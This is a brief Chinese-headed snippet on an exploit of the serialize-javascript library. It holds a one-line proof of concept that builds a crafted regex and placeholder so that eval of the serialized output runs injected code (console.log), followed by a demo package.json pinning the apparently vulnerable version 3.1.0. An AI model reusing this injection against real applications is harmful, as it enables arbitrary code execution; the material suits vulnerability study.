安全风险—漏洞利用

1eval('(' + serialize({"foo": /1" + console.log(1)/i, "bar": '"@__R-<UID>-0__@"}) + ')');

1
2{
3  "name": "serialise-example",
4  "private": true,
5  "version": "0.0.0",
6  "type": "module",
7  "scripts": {
8    "dev": "vite",
9    "build": "tsc && vite build"
10  },
11  "dependencies": {
12    "react": "^18.2.0",
13    "react-dom": "^18.2.0",
14    "react-router-dom": "^6.8.1",
15    "serialize-javascript": "^3.1.0"
16  },
17  "devDependencies": {
18    "@babel/core": "^7.20.12",
19    "@testing-library/jest-dom": "^5.16.5",
20    "@testing-library/react": "^14.0.0",
21    "@types/react": "^18.2.14",
22    "@types/react-dom": "^18.0.10",
23    "@types/react-test-renderer": "^18.0.0",
24    "@types/react-transition-group": "^4.4.5",
25    "@typescript-eslint/eslint-plugin": "^5.57.1",
26    "@typescript-eslint/parser": "^5.57.1",
27    "@vitejs/plugin-react-swc": "^3.0.0",
28    "babel-loader": "^8.3.0",
29    "css-loader": "^5.2.6",
30    "eslint": "^8.38.0",
31    "eslint-config-airbnb": "^19.0.4",
32    "eslint-config-airbnb-typescript": "^17.0.0",
33    "eslint-plugin-import": "^2.27.5",
34    "eslint-plugin-jsx-a11y": "^6.7.1",
35    "eslint-plugin-react": "^7.32.2",
36    "eslint-plugin-react-hooks": "^4.6.0",
37    "jsdom": "^21.1.0",
38    "react-test-renderer": "^18.2.0",
39    "sass": "^1.58.3",
40    "sass-loader": "^10.1.1",
41    "style-loader": "^2.0.0",
42    "typescript": "^4.9.3",
43    "vite": "^4.1.0",
44    "vitest": "^0.28.5"
45  }
46}